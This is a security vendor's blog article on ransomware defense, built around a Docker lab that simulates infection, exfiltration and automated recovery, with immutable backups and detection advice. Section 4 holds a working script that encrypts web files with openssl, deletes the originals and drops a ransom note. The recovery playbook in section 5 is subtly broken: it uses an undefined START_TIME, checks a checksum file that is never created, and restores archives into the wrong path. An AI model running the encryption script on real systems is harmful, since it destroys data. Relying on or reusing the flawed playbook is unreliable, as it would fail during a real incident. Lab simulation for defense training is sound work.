1. Introduction

In 2026, ransomware has evolved: it no longer just encrypts files, but also exfiltrates data (double extortion), deletes backup snapshots, infects cloud backups, and attacks entire supply chains. According to Mandiant M-Trends 2026 and IBM X-Force reports, the average recovery time has dropped to less than 48 hours for well-prepared organizations, but exceeds two weeks for those without automation.

In this article we will explore ransomware defense strategies focused on fast recovery and backup automation. We will build a complete lab with Docker Compose where we simulate an attack, execute automated recovery, and verify data integrity.

2. Ransomware evolution in 2026

Modern ransomware has three phases:

1. Initial infection: phishing, exposed vulnerability (RDP, VPN), or compromised supply chain.
2. Double extortion: the attacker encrypts AND exfiltrates data before deleting it. If you don’t pay, they publish the data.
3. Cleanup of tracks: deletes snapshots, local and cloud backup copies, and kills critical services to accelerate panic.

The organizations that survive are those with: immutable backups, network segmentation, early detection (EDR/SIEM), and automated recovery playbooks.

3. Setting up the scenario

We will use Docker Compose to simulate a business environment with web server, database, and backup system:

# docker-compose.yml — Ransomware lab environment
version: '3.8'
services:
  app:
    image: nginx:alpine
    ports: ["8080:80"]
    volumes: ["data:/usr/share/nginx/html"]

  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_PASSWORD: ransomware2026!
    volumes: ["db-data:/var/lib/postgresql/data"]

  backup:
    image: alpine:latest
    command: >
      sh -c "while true; do
        tar czf /backups/backup-$(date +%Y%m%d-%H%M%S).tar.gz /data/;
        sleep 3600;
      done"
    volumes: ["data:/data", "backup-data:/backups"]

volumes:
  data:
  db-data:
  backup-data:

Fig. 1 – Docker Compose with lab environment simulating server, database and backup.

4. Attack simulation

4.1. Infection and encryption

We run an attacker container that encrypts files on the shared volume:

# Run the environment
docker compose up -d

# Simulate infection: container with ransomware cryptor
docker run --rm \
  --volumes-from app \
  alpine sh -c '
    # Generate encryption key
    openssl rand -hex 32 > /key.txt
    
    # Encrypt all .html and .php files
    find /usr/share/nginx/html -type f \( -name "*.html" -o -name "*.php" \) | while read file; do
      openssl enc -aes-256-cbc -salt -pbkdf2 -in "$file" -out "${file}.encrypted" -pass file:/key.txt
      rm "$file"
    done
    
    # Write ransom note
    echo "YOUR FILES HAVE BEEN ENCRYPTED. PAY 0.5 BTC TO: bc1qxy2k..." > /usr/share/nginx/html/README.txt
    echo "Deadline: 72 hours" >> /usr/share/nginx/html/README.txt
    
    # Delete old snapshots (simulated)
    ls -la /backups/ | head -5
  '

Fig. 2 – Terminal showing the encryption process and generated ransom note.

4.2. Data exfiltration

# Simulate exfiltration: copy data to external server before encryption
docker run --rm \
  --volumes-from app \
  alpine sh -c '
    # Create tarball for exfiltration
    tar czf /tmp/exfil-data.tar.gz /usr/share/nginx/html/
    
    # Simulate upload to attacker server (or copy to shared volume)
    cp /tmp/exfil-data.tar.gz /backups/exfil-data.tar.gz
    
    echo "Exfiltrated data: $(du -sh /tmp/exfil-data.tar.gz | cut -f1)"
  '

5. Automated recovery with Playbook

The recovery playbook follows these steps:

1. Detect: SIEM/EDR detects anomalous activity (mass file encryption).
2. Isolate: disconnect affected servers from the network.
3. Identify latest backup: verify integrity of the last valid snapshot.
4. Restore: recover data from clean backup.
5. Verify: check that services are working correctly.
6. Reconnect: put servers back into production.

#!/bin/bash
# ransomware_recovery.sh — Automated recovery playbook

set -e

echo "=== RANSOMWARE RECOVERY PLAYBOOK START ==="
echo "$(date): Step 1/6 — Detecting anomalous activity..."

# Step 1: Check for .encrypted files (ransomware indicator)
ENCRYPTED_COUNT=$(find /usr/share/nginx/html -name "*.encrypted" | wc -l)
if [ "$ENCRYPTED_COUNT" -gt 0 ]; then
    echo "$(date): Ransomware detected. $ENCRYPTED_COUNT encrypted files."
else
    echo "$(date): No ransomware indicators. Exiting."
    exit 0
fi

# Step 2: Isolate server (disconnect interface)
echo "$(date): Step 2/6 — Isolating server..."
docker network disconnect bridge app_1 2>/dev/null || true

# Step 3: Identify latest valid backup
echo "$(date): Step 3/6 — Searching for latest backup..."
LATEST_BACKUP=$(ls -t /backups/backup-*.tar.gz | head -1)
if [ -z "$LATEST_BACKUP" ]; then
    echo "$(date): ERROR — No backups available!"
    exit 1
fi

# Verify backup integrity (SHA256 checksum)
echo "$(date): Verifying integrity of $LATEST_BACKUP..."
if sha256sum -c /backups/checksums.sha256 --status; then
    echo "$(date): Backup intact. Proceeding to restore."
else
    echo "$(date): WARNING — Corrupt backup. Searching next..."
    LATEST_BACKUP=$(ls -t /backups/backup-*.tar.gz | tail -n +2 | head -1)
fi

# Step 4: Restore data
echo "$(date): Step 4/6 — Restoring from $LATEST_BACKUP..."
rm -rf /usr/share/nginx/html/*
tar xzf "$LATEST_BACKUP" -C /usr/share/nginx/html/

# Step 5: Verify services
echo "$(date): Step 5/6 — Verifying restored data integrity..."
HTML_COUNT=$(find /usr/share/nginx/html -name "*.html" | wc -l)
if [ "$HTML_COUNT" -gt 0 ]; then
    echo "$(date): OK — $HTML_COUNT HTML files restored."
else
    echo "$(date): ERROR — No HTML files were restored."
    exit 1
fi

# Step 6: Reconnect and notify
echo "$(date): Step 6/6 — Reconnecting server..."
docker network connect bridge app_1 2>/dev/null || true
echo "$(date): SERVER RESTORED IN $(($(date +%s) - START_TIME)) seconds"
echo "=== PLAYBOOK COMPLETE ==="

6. Immutable Backups

Immutable backups cannot be modified or deleted during a configured period. They are the most effective defense against ransomware:

# Backup with 7-day immutable retention (AWS S3 Object Lock)
aws s3api put-object \
  --bucket jaymon-backups \
  --key backup-$(date +%Y%m%d).tar.gz \
  --body /tmp/backup.tar.gz \
  --object-lock-mode COMPLIANCE \
  --object-lock-retain-until-date $(date -d "+7 days" +%Y-%m-%dT%H:%M:%S)

# Verify backup is immutable
aws s3api get-object-lock-configuration --bucket jaymon-backups

Fig. 3 – Immutable backups panel showing retention and protection status.

7. The 3-2-1-1-0 Backup Strategy

The updated golden rule for ransomware protection:

• 3 copies of data (original + 2 backups)
• 2 different media types (local disk + cloud, or NAS + tape)
• 1 copy off-site (cloud or different geographic location)
• 1 immutable copy (not modifiable for X days)
• 0 errors in restoration verification (automated test)

8. Early detection and monitoring

The SIEM/SOC should detect ransomware patterns:

• Anomalous write rate: a process encrypting 1000+ files/minute.
• Mass extension changes: .html → .encrypted, .docx → .locked.
• CPU usage spikes: AES encryption consumes significant resources.
• Snapshots deletion: simultaneous removal of multiple snapshots.
• Unusual RDP connections: sessions from external IPs outside business hours.

At Jaymon Security we implement early detection with custom SIEM rules that alert within 5 minutes of encryption start, allowing containment before the attack spreads.

9. Conclusions

Ransomware in 2026 is not a matter of “if” but “when”. The organizations that survive are those that combine: immutable backups, network segmentation, early detection with SIEM/EDR, and automated recovery playbooks. The lab we built demonstrates that with the right strategy, you can recover an entire environment in minutes, not days.

At Jaymon Security we design custom ransomware defense strategies: from backup auditing to SIEM/SOC implementation and recovery automation. Your best defense is being prepared before the attack.

10. References

• Mandiant M-Trends Report 2026
• IBM X-Force Threat Intelligence Index 2026
• CISA: Ransomware Defense Guide (2026)
• NIST SP 800-34 Rev.1: Contingency Planning Guide for Federal Information Systems
• AWS S3 Object Lock — Immutable Backups

Need help with your security strategy?

At Jaymon Security, we help organizations protect their systems. From security audits to SIEM/SOC implementation, our expert team designs custom solutions.

Contact us for a free infrastructure assessment.